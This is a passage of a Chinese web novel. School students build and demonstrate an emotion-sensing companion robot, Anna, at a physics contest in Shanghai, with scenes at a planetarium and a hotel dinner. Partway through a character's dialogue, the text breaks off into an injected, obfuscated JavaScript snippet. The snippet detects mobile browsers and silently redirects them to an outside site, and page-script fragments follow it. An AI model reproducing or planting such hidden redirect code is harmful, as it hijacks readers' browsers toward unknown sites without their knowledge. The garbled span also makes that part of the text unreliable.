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机器人安娜马上回答:“看来你很喜欢我赞美你。哎呀,小妹妹,你这么可爱,一定是糖果吃多了吧?笑得这么甜,我都忍不住想咬一口了!” “你这蠢机器!”钟小琳快人快语骂道。她的右脸其实还肿着,就是因为糖果吃多了,前几天牙疼得厉害,昨天去补蛀牙时,才被牙医和妈妈一左一右一人一句唠叨自己不能再吃糖果…… 钟小琳生气得跑到门外,在门外还大声吼着:“什么破烂陪伴机器人,有它陪伴我更难受了!” 幸好这时已经离开了机器人安娜的人型检测范围,安娜闭上了嘴巴没有再说话。 四个男孩相视无言。 袁雅维上前来,“让我试试吧!” “你好!我叫安娜!我是你的智能助理!”机器人又说话了,由于袁雅维有心理准备,她没有被吓到。 “你好,安娜。” “检测到你的情绪为‘愉悦’,需要我赞美你吗?” “别!肯定没啥好话!”钟小琳在门外大声吼道。 在袁雅维还没答话时,机器人安娜就说:“亲爱的,你在我心里永远是最特别的存在,你的快乐就是我最大的心愿。我会一直陪在你身边,让你每天都开心快乐!” 袁雅维甜甜地笑了起来。 机器人安娜又说:“哎呀,宝贝,你知道吗?你的笑容就像春天的阳光,总能温暖我整个世界。你的一举一动都让我心动不已,我真的好幸运能和你在一起。笑一个吧,你的笑容是我最大的幸福哦!” 袁雅维笑得眉眼弯弯的。 机器人安娜又说:“你是我的心电感应,每次想到你,我的心就‘扑通扑通’跳个不停,就像电流穿过身体一样,让我无法抗拒你的魅力!” 袁雅维一边捂住脸尴尬地咯咯笑一边说:“这些话谁输入进去的啊,这么……肉麻!” 三个男生转过脸一副没眼看的样子,三根手指不约而同一起指着他们的机器训练师——唐晔。 某呆瓜一脸疑惑地问:“这有什么不对吗?我就照着数据集来做的啊!” 袁雅维的脸“刷”地红了。 钟小琳还在走廊外面唯恐天下不乱地奸笑说:“嘿嘿嘿,这些话要是你对她说,那当然是没问题!” 某呆瓜还很认真地发问:“那你意思是说要增加性别检测?如果是检测到是女生,就换男性声音的意思吗?” 钟小琳翻了个白眼说:“笨啊你!女声还好,要是被一把不认识的男声突然对自己说这样的话,我会忍不住喊‘非礼’然后一脚踹过去!” “但总不能对应每个人喜欢的男性声音种类都做一个版本吧,这工作量有点大,目前暂时实现不了。”某呆瓜揉了揉额角。 何嘉南阻止了准备过来扁人的钟小琳,钟小琳还吼着:“有病啊,他自己都不懂怎么跟女孩子说话!你们让他去搞这一块?”“你冷静!冷静!我跟他讲!” 王丽云问:“我还试吗?总觉得很紧张,不知她又会说什么很奇葩的话……”何嘉南赶紧满脸堆笑,鼓励她走上前去。 但当她走上前时,安娜却没有像刚才那样开始讲话。 负责硬件的赵铭轩赶紧来到他们两台电脑前看反馈的BUG。 何嘉南看着其他三位组员面面相觑,肯定没啥好事,只好先好哄歹哄把三位好朋友送出门,回来一问,“怎么回事?” 原来,在人型检测器作出反应,但高清摄像头上返回的结果“检测到的生物类型为‘熊猫’。” 何嘉南差点没当场笑叉气! 身材有点儿圆润的王丽云,刚才戴着一副大大厚重的黑框板材眼镜…… “你能不能别跟她们说?”看来唐晔也怕几个女生生他的气,他弱弱地对何嘉南说。 “傻子,行啦,不跟她们说!不过下午的奶茶你出钱!” “好啦,赶紧更改机器学习的数据来源吧,这个对白数据集明显不行啊!你哪找的啊?”王师兄也说。 “这什么鬼!《哄女生的一千句情话》?一看就不正经!”赵师兄看到唐晔打开的文件夹,差点没笑抽在桌子上。 “安娜突然出声,也吓了她们一跳。还有就是,中国人对于自己的负面情绪被人指出,其实带有抗拒心理,这一点也要好好调整……”四人围在一起,对刚才的结果进行了分析讨论。 这一周里,唐晔在何嘉南的帮助下,对安娜进行了精心的语言输出训练。每一个词汇、每一个句子,都经过反复推敲和修正,直至达到最完美的状态。王师兄和赵师兄也倾尽全力,一次次检测、一次次调整,确保安娜能够在关键时刻展现出最佳表现。 不仅如此,四人的同学们也纷纷伸出援手,利用课余时间协助他们进行测试。美术社的还为安娜做了头发和画了萌萌的面孔,裁制了一套可爱的蓝色小裙子。每个人都在为安娜的成功而努力,大家都意识到这是一场集体荣誉的战斗。 终于,在12月20日下午放学后,小礼堂内座无虚席。学校领导、志愿者们齐聚一堂,期待着即将上演的精彩一幕。 随着一个个志愿者缓缓走到安娜前面,安娜的眼神中闪烁着智慧的光芒,一连串的测试问题如潮水般涌来,安娜已经能够较为准确解读情绪,又能给出简单但充满情商的回复。 观众席上的掌声此起彼伏,大家的脸上都充满笑容。他们知道,这一切的努力都没有白费。安娜的表现已经超出了同学们的预期,也让大家看到了智能系统的实际应用和无限可能。 比赛预演结束后,学校领导们纷纷上前表示祝贺。志愿者们也为安娜的精彩表现鼓掌欢呼。这一刻,他们这四人小队都感到无比自豪。 第二天下午就要坐上飞机飞往沪城,接下来的比赛将会更加激烈,但他们也坚信,只要团结一心、继续努力,就一定能够取得胜利。 合照环节,大家开心地一起比着耶,像是已经看到了胜利的奖杯在对他们招手! 11. 第 11 章 21号中午,刘校长和林老师率队,加上另一名负责安全的罗老师,带领四位同学从校门口准备乘车出发,学校的小记者纷纷举起手里的相机对他们进行拍摄,还有些志愿者同学们都扮演了啦啦队给他们鼓励。 大家将机器人安娜放入一个大行李箱中,并小心翼翼地将其安置在大巴车下方的行李厢。 而在这次出行的队伍中,唐晔显得格外兴奋。这是他第一次坐飞机离开羊城,对于未知的新世界,他充满了好奇与向往。他站在大巴车旁,一手扶着陈姨给他收拾的行李箱,另一只手兴奋地比划着、对着何嘉南和他妈妈黄阿姨讲着什么,脸上洋溢着憧憬的笑容。 唐万里坐在停在校门外的车里,远远看着唐晔,站在被别的家长和同学一起围在圈子里他,像每一个普普通通的少年一样,对出行充满欢乐与期待,但他又是那么光彩夺目,是自己最完美的子孙。 可能是时间差不多到了,老师招呼他们上车,大家集体往大巴车的方向移动。方源说:“老爷,三少爷要走了。” 见唐万里没有反应,没消息就是好消息,方源赶紧下了车,向准备上车的几人快步走去,一边对着他们喊:“唐晔同学!” 人群注意到他,也顺着他来的方向看到了停在校门外街道对面的星夜紫色的劳斯莱斯幻影。 刘校长本来已半只脚迈上大巴,见他来了马上收腿小跑过来握手:“方总,您好您好!好久不见。” 方源忙低调地握了握她的手,又谦逊地说:“不敢劳烦,只是唐晔同学最近忙着参赛事宜,家里人有段时间没见到他了,甚是想念。不知……” 刘校长连忙说:“哟,抱歉,是我们工作做得不够,让您家这出色的孩子连休息日都在忙!唐晔同学,赶紧去跟长辈说一声!”又连声对方源说:“您放心,我们老师一定会好好保护孩子们的安全。”方源礼貌应对,一面请唐晔出来门口。 唐晔刚才在大巴下面的行李厢放好自己的箱子,本来正准备和大家一起上车,这时他小声说:“方伯伯,我们赶时间了……” “不赶不赶,我们预多了时间的,去早了恐怕还得在机场等好久的。”刘校长连忙接口。 唐晔无奈,请何嘉南帮手把自己的书包先拿上车,便直接朝那台幻影走过去。 方源先他一步为他拉开车门。合上车门后又站在车外候着。 向唐万里问完好后,两祖孙在车里一时相对无言,最后还是唐晔轻声问:“爷爷,您还有什么事吗?我们赶时间了。” “哼,我还没见过有飞机不等我的。” “您是您,我是我。”唐晔看向窗外,南方十二月的榕树还枝繁叶茂。 “一切小心,注意安全。” “是。” “注意身体,别太劳累。” “谢谢爷爷关心。我已经长大,没什么事了。” “还说没事,上个月你的病才发作过!”唐万里提高了点音量。 上个月。 对于高强度工作了整整三个星期、一直在思考、在学习创新的唐晔来说,上个月已恍如隔世。 哦,记起来了。尽管一直不愿信,但上个月终于确认,自己不过是一个不起眼的摇尾乞怜人。 他轻轻笑了笑。 唐万里看看小孙儿,笑容似乎缺了点平时的温顺柔软。他清了清嗓子:“我听方源说你银行账户里前几个星期转出了320万,是怎么回事?” “买了东西。不过这不是您让我自己支配的零花钱吗?”唐晔淡淡回答。 “听方源说你账上只剩万把块钱,去到外面怎么够花,我给你又转了点进去。也……不用太省。” “请您放心,有学校老师跟着,而且下个星期一直在会场准备比赛内容,不会到处逛。”唐晔的声音还是淡淡的。 停了一会儿,唐万里叹道:“你还有怨,为我没有出手助你!” 唐晔笑了:“不曾,不敢。爷爷,请您保重!我赶时间,先走了。”说着,他就自己开了车门走了出去,向方源打招呼:“方伯伯,我走了,也请您保重身体,照顾好爷爷!” 方源查颜观色,见他未展笑颜,正想说什么,唐晔已经先大步走向学校的大巴车了。 一路上,唐晔一直看着窗外,建筑物的投影在他脸上明明灭灭。何嘉南看他情绪没刚才高涨,模仿着机器人安娜的萌妹子声音说:“您好!我是机器人何嘉南,有什么可以帮到您?” 唐晔被他逗得笑了起来:“机器人何嘉南,请为我播放一首催眠曲。” “机器人何嘉南能知道原因吗?” “我困了。”唐晔就势把头靠在何嘉南肩膀上,甜甜地笑着,闭上眼睛。 随车一路送他们到机场的钟小琳想到什么、站起来回头想跟他们说话,刚好看到他们俩头靠着头这一幕,她一手拿出手机拍他们的视频,还笑嘻嘻地无声地比划了个“荷塘月色”的嘴型。何嘉南一手护住唐晔的头,一边飞了个眼刀精确地命中了钟小琳。 飞机在傍晚时分到达沪城,从高空中俯瞰,整个城市的灯光次第亮起,在傍晚的宁静中一闪一闪。到达浦东机场上空时,夕阳的余晖洒在机场的跑道上,闪烁着金色的光芒。飞机缓缓滑行,几个同学尽管紧张,也满心欢喜地期待着即将开始的沪城之旅。 他们一行人刚刚落地沪城,就急匆匆地赶往物理联赛的场地去报到。 在出租车上看沪城这座充满现代气息的城市,在夜色中闪烁着迷人的光彩。霓虹灯下的街道,车水马龙,人流如织。唐晔和何嘉南坐在一起,刘校长坐在他们俩前面,热情地关心着这两名学生,但他们俩都顾不上回答,一起抬头望着这座灯火辉煌的城市,两个人心中兴奋不已。 罗老师看护着两个大一点的初三同学。林老师则在另一台车里,一边默默地守护着机器人安娜,一边整理着参赛资料,相信这四位同学经过长时间的准备和磨砺,一定能够在联赛中脱颖而出。 一行人终于来到了物理联赛的场地,报到的地点是一座宏伟的会议中心。他们穿过熙熙攘攘的人群,来到了报到处。林老师上前与工作人员交流,刘校长和罗老师则在一旁协助同学们完成报到手续、看管器材等。 在这个过程中,他们遇到了来自全国各地的优秀学子,每个人的眼中都闪烁着对知识的热爱和对未来的憧憬,叽叽喳喳,兴奋地交流个不停。 年长的老师们心中不禁感叹,这就是青春的力量。 报到结束后,他们一行人来到了住处,会议中心旁边的一家刚开业不久的新兴酒店,在二楼餐厅用过定餐,大家便分配房间准备歇息。 刘校长鼓励同学们要保持良好的心态,发挥出自己的最佳水平。林老师则提醒他们别太激动,注意休息,保持体力。罗老师则帮同学们把两个房间的各种设施都仔细检查一遍,又向他们严格强调了早上集合的时间地点、外出纪律,这才不太放心地让他们解散。 两人把房门一关,何嘉南就兴奋地扑上靠近房门的那张柔软的单人床,把头深深埋进干净的白色被套上,深深地吸了一口气:“呀,这床好软!被子好香!比我家的还舒服!” 唐晔也学着他的样子,往他的床上一扑,也把头埋在被子里,也深深吸了口气:“呀,这床不够我家的软……咳咳!”他转过头呛咳了两下。 何嘉南翻了个身躺平:“喂,干嘛扑我床上,滚到你自己那边去!” “没洗澡呢!”唐晔也学着他,翻身躺平在被子面上。 “那你还过来?!” “反正你都不介意。”某呆瓜得意洋洋。 “那我过去你床上!”何嘉南故意捣乱。 “别,我真的受不了!”唐晔赶紧扯着他衣服不让他过去,“那我不躺你床上了呗!”又悻悻地从床上坐起来。 “受不了你这洁癖!躺吧,没事!”何嘉南躺在床上微笑说着,伸手把唐晔又拉回自己的身边。 “那我就躺一会儿,累坏了!”两人相视,笑了。 窗外,夜幕降临,沪城的天空中繁星点点。 刘校长所住的是个行政套间,现在被大家征用成集训室。 昨天星期天,不是在针对薄弱题型练习就是在练习演示PPT,星期一上午还是以刷题为主。何嘉南经过前两三周的密集补习,也已渐渐有了成效。而唐晔延续了他的一贯风格,下笔如有神,像是不用经过思考似的唰唰写着。这可是奥赛级别的题目啊! 刚才林老师被组委会叫走了,唐晔停了笔,四处张望了一下,拿起桌上一份宣传页看了起来。 何嘉南小声问:“你倒数第二道题怎么做?” 唐晔早就做完所有的题,瞄了一眼他的卷子,又看了看他画在草稿纸上的辅助图,用指甲轻轻在上面划了两条线。何嘉南打通思路,赶紧拿起笔唰唰写了起来。 “那最后一道呢?”何嘉南得寸进尺。 唐晔故作矜持偏过头不理他,反而用手上这本薄薄的宣传册把自己的卷子遮得更紧。 何嘉南用笔轻轻捅了捅他的腰。他忍不住“咔”地笑出声来,引得两位师兄和刘校长都抬头看过来。 何嘉南人精似的,知道刘校长不怎么敢管束他俩,便直接朗声问:“唐晔,最后一道题怎么做?” 赵师兄也问:“你做出来了?” 唐晔点点头。 “不会吧,我卡在这儿半天了,急死我了。林老师怎么还没回来啊!简直挠心挠肺。” 见真的等得有点儿久,也快到午饭的点儿,能完成的都已完成了,刘校长便说,“想讨论的同学可以私下讨论一下,但别吵到想独立完成的同学。” 她这一说,三个人都围过来唐晔身边,“说说嘛!” “一个质量为M的圆环,半径为R,可绕通过其中心的竖直轴无摩擦地转动。开始时圆环静止,现有一质量为m的小球自圆环的最高点由静止释放,小球沿圆环的内侧滚到最低点时,圆环恰好转动了1/4圈。求此时小球的速度大小。……有什么疑问?” “既然圆环无摩擦转动,那与M有什么关系?” “我就没搞清楚小球的位移路径……” 唐晔拿过自己的电脑,飞快地写了些代码,点击运行。题中的小球运行的轨迹啊、圆环的受力等等就清晰地显示出来。其他三人看了看,就都明白过来了。 站他旁边的王翔宇忍不住摸摸他脑瓜,又翻开他头发,仔细在他后脑勺、耳后搜寻了一轮,一边说,“老实交代,你的充电口在哪?该不会在屁股上吧?” “啥?”其他几人刚才就好奇他的举动。 “你不觉得这家伙才像个机器人吗?没有他不懂的,做得又快,写题好像不用思考似的,字也像打印似的整整齐齐——”大家低头看看他卷子上那漂亮的行书小字,“程序也写得飞快,更不用说与机器的交互,想了半天写不通的经你一调整就行了。你老实交代,你才是机器人吧?”王翔宇一边说一边还把他圈在怀里死命挠他痒痒:“看一下你的压力传感器够不够灵敏。” “哎哟!救命啊!”唐晔被挠得笑个不停,连连求饶,其他两人也笑着对他上下其手。 刚才他看的那个薄薄的彩页宣传册都被他们扫到地上了,唐晔连忙捡起来。 “这是啥?” “沪城天文馆,好像离这儿不太远。”唐晔指着刚看过那页。 “你想去啊?” 唐晔点点头。 “搞完比赛呗!” “好吧!”唐晔有点儿失望。比赛是周五周六,周日都要回羊城了,哪有时间。 这时林老师回到了他们的“集训室”,看看大家做题的情况,表扬了大家最近的成果,又说,“刚才说了下比赛的过程和要求,这些我们回头还得模拟练习。还有个事儿,我就传达,你们知道一下:刚才呢,组委会还推荐了有时间的同学可以报名参加这些半日游和一日游。我看我们时间也比较紧,大赛在即,干脆就不报了……”他拍了拍手里一张薄薄的宣传册就准备放到一边。 话音未落,收获了四双哀怨的眼神。“……看来你们很想去?” “不想去才怪!这两天整天上午刷题下午编程,人都快疯了好吧?”王翔宇怪叫了一声。 林老师看着爱徒:“你这师兄咋当的,师弟们都没意见!” 何嘉南叫道:“林老师,别误会!我们只是嘴慢些!” 赵铭轩也说:“老师,就让我们玩个半天一天吧,来都来了!” 林老师不死心地把目光投向他认为对比赛热情最高、平时也让人感觉最乖最文静的唐晔:“你们看小师弟,都不说什么……” 唐晔果然什么也不说,只把手里的那张和林老师同款的薄宣传册扬得哗啦啦响。 林老师眼前一黑:“啥?手下人都叛变了?” 刚才他们四个学生做完题后的哄闹早就引起刘校长的注意,她一直关注这项目,也知道目前进度良好,刚才又听见唐家小公子都说了想去这个新开的天文馆,又据说不远,便说:“林老师,我们要不商量下,让孩子们休息半天?” 林老师见校长都开口了,那自然是忙不迭表态:“不是不行,只是担心他们的安全……” 两名亲传弟子马上把胸脯拍得震天响:“没事,保证不乱跑,听指挥守纪律!对不,师弟?” 两名初一的小新丁也连忙点头如捣蒜。 “唉,好吧!那你们今天下午和明天上午好好干,明天下午放半天风!” “林老师万岁!校长妈妈万岁!”初三的两只,看着比小学三年级的还幼稚。 周二中午,四位同学在酒店餐厅用完午餐后,急迫地催促老师们兑现之前的承诺。刘校长留在酒店负责看管机器人安娜,而林老师和罗老师则带着四位充满期待的男孩前往沪城天文馆。 一踏入天文馆,他们被巨大的傅科摆所震撼,目不转睛地盯着那钟摆,仿佛被神秘力量牵引,穿越至另一维度。720度的环形坡道宛如星系旋臂,引领他们仰望浩渺的太空。 在家园展区,他们首先参观了模拟太阳系,屏幕上的光影交错,行星沿轨道缓缓运行。通过互动屏幕和模型,他们深入了解了太阳系的构造与行星轨迹,仿佛触摸到遥远的星辰,感受到宇宙的浩渺与神秘。 辗转至球形影厅,何嘉南与唐晔并肩靠在懒人沙发上。 唐晔是第一次观看球幕电影,看着头顶的穹窿感到非常紧张,何嘉南便紧紧握着他的手,让他感受到自己在他身边。 当球幕渐暗、电影开始播放时,置身浩渺星空中,仿佛整个宇宙都仅剩下他们两个人一样,既孤独又圆满…… 随着镜头切换,银河系的壮丽景象映入眼帘,宇宙的奥秘尽展眼前。画面中的宇宙图景、大爆炸起点,让他们仿佛回到宇宙之始,领略那最初的震撼与美丽。 “我们DNA里的氮元素,我们牙齿里的钙元素,我们血液里的铁元素,还有我们吃掉的东西里的碳元素,都是曾经大爆炸时的万千星辰散落后组成的,所以我们每一个人都是星尘。”敏感的少年想起卡尔萨根的这句名言,在球形的苍穹下,不禁泪流满面: 我们每个人都是宇宙的一部分,是那浩渺星空中最耀眼的星辰。每一个耀眼的恒星,都会从星云变成主序星,再变成超新星,最后衰亡,而这种悲壮感,不仅源于宇宙整体壮丽,更因此他们深刻体会到人类在宇宙中的渺小。 然而,这种渺小反而让作为人类的他更加珍视来之不易时光,热爱这个充满奇迹的宇宙。 电影结束时,两位师兄看到唐晔靠在何嘉南的肩膀上,一开始还调笑他们,后来发现这敏感的小师弟哭着无法自已。大家都纷纷给他留出自我调整的空间。 而在宇宙展区走廊,一条灿烂星河点亮暗夜,他们一同举起手,感受那来自银河系的星星点点和动人曲线。头顶的多谱勒效应画作犹如夜空中最亮的星辰,熠熠生辉,它展现了宇宙大爆炸的奥秘,也传达了人类对宇宙的无限向往与探索。 在征程展区,从古至今,人类对宇宙的探索从未停歇。从推演天迹到宇航员直接生活在宇宙,人类的脚步从未停止。 “我们身在何处,从何而来,又将去往何方?唯有不断探索,人类才能超越自我。”讲解的声音回荡在展厅内,又像在回荡在各自的心里。 看完展览出来,天空已经暗了下来,四名少年和老师们坐车回到了酒店。 “那个,老师,我们俩能否今晚自由活动?就在酒店里,保证不离开酒店范围。”何嘉南问。 林老师忙问他怎么回事,何嘉南却支支吾吾。 两个师兄看他神神秘秘的样子,又看他们两个今天在天文馆几乎都是手臂挨手臂、肩膀并肩膀一起走,不禁联想起学校之前还传过他们之间的一些“绯闻”,嘿嘿一笑又准备调侃他俩。 眼看着好友被师兄们盯得表情僵硬起来,何嘉南忍不住大吼一声:“你们想啥! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942745|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是我们真有什么,干嘛还要问老师,关上房门往床上一躺就行!” “我们怎么知道你们在房里干嘛!” “我们怎么知道你们又在房里干嘛,师兄!说别人之前先问问自己,我看你们的袜子就挺鸳鸯的啊!”何嘉南奸笑道。 “不会吧!今早起晚了……你这白吃拿错我袜子了,我呸!”赵铭轩大喊。 “我呸!我还没嫌你脚臭呢!”王翔宇也毫不客气地呛回去。 看他们转化成内部矛盾,奸计得逞的何嘉南大笑着拉着唐晔跑远。罗老师还在他们身后大喊:“保持电话畅通啊!” 何嘉南拉着唐晔的手,坐着观光电影一直到达酒店最顶层。看来何嘉南早就订好最顶层的餐厅了,侍者引着他们往包厢走去。 看着外面灯火辉煌的城市夜景,唐晔笑着问他:“怎么回事,你要带我来这看着就贵的餐厅吃晚餐啊?” 何嘉南也微笑着承认:“你不怎么喜欢吃这儿的定餐吧?看你这几天都吃不下东西。今天不是你生日么,也不知道该送什么给你,我想用自己的零花钱请你吃一顿好点的,正好住户有优惠。” “啊?生日?不对,我不过生日的。哦,对,今天是哥哥的生日,我得给他打个电话!抱歉!”唐晔忙抓起手机打了视频电话。 “喂,哥哥,生日快乐!祝哥哥年年有今日,岁岁有今朝,歌甜人帅,粉丝多多!” “小晔,我想死你了,你怎么现在才给我打电话?”唐天装得很不开心。 “我也想你……嗯,好吧……今天忙了一天,的确是现在才想起,哈哈哈哈!” “你心里果然没有我!” “好啦,收到我的礼物了吗?” “都看到了,你哥哥把它挂在大厅中间,我们每个人都看到了。”何柏文的半个头从画面里冒了出来。 这时,唐晔才听到对面人声吵杂,“柏文哥哥好!哥你邀请了朋友们过来我们家玩吗?” “对呀,弟弟,姐姐我又来啦!可惜这次竟然没见到帅弟弟你呢!”上次在何嘉南生日派对上见过的黎梓茵又从另一侧冒出来。何嘉南忍不住也冒出来说:“靠,他们又开生日PARTY!” “谁叫你上次生日派对不叫我,我生日你还把我弟拐去沪城,我记仇了!”唐天拽拽地说道。 “那又怎么样,我还和你弟二人世界呢!”何嘉南抢过手机,把他们所处的顶层餐厅以及沪城浦东的夜景环形拍摄了一圈。 引得唐天又是一阵羡慕妒忌:“要不是这里一屋子人,我现在就打个飞机过去沪城拆了你们酒店!”收获何嘉南白眼一枚。 唐晔笑着哄了唐天几句,把视频电话挂了:“所以,你知道啦?今天只是我哥哥生日,不是我的啦!说了我只是和他用一样的注册资料而已。” “我也是刚刚才想起。对了,他之前说过你今年生日时还在医院?”何嘉南皱起眉。 “嗯,6月份的事。”唐晔淡淡地说。 “当时怎么就病得那么重?”他前倾着身体,紧张地盯着好友瘦削的脸。 “不记得了呀,反正就是病了呗。”可是这娃儿一副很不惜命的模样。 “那你6月底怎么参加的入学考试?” “还没完全好,死撑着去呀。”唐晔说得理所应当似的,“幸好去了,要不就没办法和你做同学,也没办法和你一起玩、一起参赛了。” “嗯,差点就没机会和你做朋友了。”何嘉南也后怕着,“幸好后来你身体恢复了。” “没事,应该也是哮喘发作而已,我也忘了那次怎么那么严重,本来往年夏天都没啥事。” “希望你不要再病了,明年你生日时,想和你好好过。” “嗯,不过我哥也是这么说的。” “我先?” “那个……大概好像可能是他先说的。” “不行,你得给我优先权!”两个人边吃边小声说话。 看着窗外的暗蓝天空下的璀璨夜景,想起今天在天文馆看到的一句话:“在广袤的空间和无限的时间中,能与你共享同一颗行星和同一段时光,是我的荣幸。” 他们彼此相视而笑。在这个浩渺无垠的宇宙中,能够相遇、相识、相知,本身就是一种奇迹。 吃完饭,他们互相拿着对方的手机看着今天在天文馆里拍的照片。 被何嘉南拿在手里的手机收到一条短信:“XX银行交易通知:本次消费1,888.00元,余额1,012,365.88元。”他瞟了一眼:“你买单了?这余额!……哇!个十百千万……让我感受一下来自土豪的震撼!” 唐晔头也没抬偷笑着说:“你好好攒零花钱啊,半年后到我真正生日时,我再坑你!……原来的余额还可以让你更震撼些,不过前一阵子刚用完了,这一百万是爷爷前几天转给我的,说怕我在这儿饿死。” “你前一阵子买啥了?又买古琴?用那么多钱?”何嘉南也随口问道。 “不是,你不要跟别人说。之前学校不是发动捐款给梁一民师兄,说他妈妈得了癌症吗?我本来想私下捐给他,因为不想引起别人又议论我家怎样怎样。不过他说不能收,写了借条给我说是当成我借给他。不过反正我的钱放那也是放那儿,也不打算让他还。” 何嘉南笑着说:“果然是霸总!那句话是什么?‘钱在我眼中,就是一堆数字而已’?!”他抬起下巴做了个高冷的表情。 “也不是,钱嘛,当然是好东西。只是,他比我更需要而已。” 周三上午,一进集训室——就是校长妈妈的行政套间,林老师就给何嘉南带来个好消息:“本来赛程前半部分是四个人做题,我还以为每个人都是综合性题目,昨晚才落实下来,是分拆成力、声光、热电和综合。那就最好不过了,你力学学得最扎实,你参加力学测评。”又转向其他三个学生:“赵铭轩热电、王翔宇声光,唐晔考综合。有没问题?” 大家纷纷表示,“早说嘛,太好了!” 接下来的两天,大家除了再对机器人安娜进行维护以外,剩下时间都在巩固自己负责的环节。 沪城的冬夜,寂静而深邃,整座城市都陷入了梦乡。然而,独自闪耀着的霓虹灯映照下,落地玻璃飘窗上坐着一个纤瘦孤独的身影。 唐晔抱膝坐在窗边,目光空洞地凝视着窗外的夜色。他的脸庞在蓝色灯光的映照下,显得更加阴寒。 何嘉南从睡梦中醒来,揉了揉眼睛,看到唐晔从他睡觉之前就一直坐在窗台上,不由得心生疑惑,这坐了几个小时了。 “你还不睡?”他轻声问道。 唐晔转过头,看向何嘉南,嘴角勉强扯出一丝苦笑。“睡不着。”他说。 何嘉南从温暖的被窝里钻出来,走到他身边,注意到唐晔全身冰冷,仿佛被冬夜的寒风侵蚀过一般,“你在紧张?你也会紧张?”他问道。 唐晔沉默了片刻,然后缓缓开口。“你还记得第一次和我打篮球那次,你问我,想赢吗?……而这个比赛,我不止想赢,我押了太多,我必须赢。”他的声音中透露出一种坚定和决绝。 何嘉南看着唐晔,心里一阵温暖,他记得,那次和他打篮球,当时听到自己的回答后,唐晔原本平静无波的双眼泛起的光芒。他试图让好友放松下来,轻轻说道:“没事的,没事的。有压力很正常。不行就下次呗。” 然而,唐晔却摇了摇头,他的眼中闪烁着迷茫。“你不懂,你可以轻易回到父母身边,他们一如既往地爱你。但我没有那么多机会。我需要以这次成绩证明我自己,我并非只会摇尾乞怜。我没那么多机会去承受失败。” 何嘉南轻轻拍了拍了他的肩膀。“所以你才更要打起精神、快睡吧!睡醒了才有机会。” 然而,唐晔却似乎无法摆脱内心的恐惧和焦虑。他的声音带着哭腔,颤抖着说道:“我不敢!我怕睡着后我醒不过来。……何嘉南你知道吗?我其实……”他住了嘴,不敢再说。 何嘉南听着唐晔的诉说,心中涌起一股莫名的酸楚。他轻轻把唐晔拉起来,走到自己床前,让他躺进尚有余温的被窝里。 他也躺了下去,环抱着唐晔,像是一个温暖的避风港,让这男孩感受到了前所未有的安心。 “……经常梦到一些片断……梦里,我意气风发……嚣张得无法无天……但他真的是我吗……然后,就在ICU醒来了……” 何嘉南静静地听着他的梦呓,也一起陷入梦乡。 12. 第 12 章 周五上午,大家分别进入到对应的测试现场,参与笔试。由于有主角光环的加持,他们的总成绩排名靠前。 从周五下午开始的一天半时间,24个队伍分别上台,在20分钟内各自讲述着他们精心准备的自选课题内容。 周六早上的机器人项目,无疑是这场盛宴中的一道最热门的风景线。近三分之一的队伍都不约而同地选择了这个前沿领域作为自己的展示内容。他们或是带来了能够自己走进会场的机器人,或是展示了具备语音识别功能的,每一个都体现了科技的魅力与力量。 但在这众多机器人项目中,真正拥有人工智能技术的却寥若晨星。大多数队伍展示的机器人,虽然也能进行简单的动作和反应,但距离真正的智能还相去甚远。 它们或是随着音乐的节奏翩翩起舞,或是模仿人类的动作将足球射入球门,或是做体操,或是两机械手相互对弈,虽然也吸引了众人的目光,但固定的程序总让人觉得缺少了些许灵魂。 在这其中有一支队伍也让人眼前一亮。那便是沪城著名中学的队伍带来的魔方机器人,它最引人注目的地方,无疑是那两只灵活的机械手,无论魔方被打乱成何种模样,它们都能迅速而准确地将其恢复原状。每一次机械手的转动,都如同一位魔术师在施展魔法,让人惊叹不已。 当这台魔方机器人完成表演时,整个礼堂都陷入了短暂的寂静。随后,爆发出雷鸣般的掌声和欢呼声。人们纷纷起立,为这支队伍送上最热烈的祝贺和最高的赞誉。 “接下来由南粤省实的同学们为我们展示他们的智能陪伴型机器人。” 随着大会主持人甜美的声音,他们四人闪亮登场。 当何嘉南和赵铭轩郑重其事地抱着才只有30厘米高、被他们美术社打扮成穿着浅蓝色蓬蓬裙的小女孩的机器人安娜上场时,场内响起一阵骚乱。 王翔宇和唐晔忙碌地检查着联机设备。随着赵和何走回到讲台上,王翔宇拿起麦克风,首先简单介绍了自己的队伍,以及他们的项目内容。 “现在,我们想请一位观众来到安娜面前。”坐在前排的一位女生举起了手。经过组委会确认没有携带任何通讯设备后,她来到台前。 在王翔宇的鼓励声中,女生略为僵硬地一步一步走向机器人安娜。 机器人安娜先是用较轻柔的声音向她打招呼:“嗨,你好!”停了一下又用清晰的声音告诉她:“我叫安娜,很高兴认识你。” 经过刚才的“搜身”环节,现在又站到了众目睽睽之下,刚才很勇敢地第一个举手的女生却变得紧张起来。她的声音里透着一丝慌乱,脸也跨了下来,暗暗骂自己干嘛这么主动:“嗨,你、你好!我是智、智慧中学的陈丽丽……” 安娜又用甜美的声音说道:“你好,陈丽丽,请问我能怎么帮到你?” “我、我突然有点儿紧张……”陈丽丽的话不知道是对安娜说,还是对自己说,还是对着现场的观众解释自己脑海里的一片空白。 安娜又用悦耳的声音说道:“陈丽丽,别担心。我在许多人面前也会紧张,很正常。” 陈丽丽声音还是微微颤抖:“好的。” 安娜的眼睛闪烁着温暖的光芒:“那我来帮你吧。首先,我们来做几个深呼吸,慢慢吸气,然后慢慢呼气,感受自己的呼吸节奏。” 丽丽按照安娜的指示,开始深呼吸。随着呼吸的放缓,她感到自己的心情也慢慢平静了下来。 安娜继续说道:“现在,我们来听听轻松的音乐吧。我为你播放一首舒缓的曲子,你可以闭上眼睛,想象自己正身处一个宁静的地方。” 音乐缓缓响起,女生闭上眼睛,仿佛置身于一片嫩绿的森林之中,心情也变得越来越放松。过了一会儿,她睁开眼睛,脸上露出了轻松的笑容:“我现在感觉好多了。谢谢!” 安娜说道:“不用谢。只要你需要我,我都会陪在你身边,帮你度过难关。” 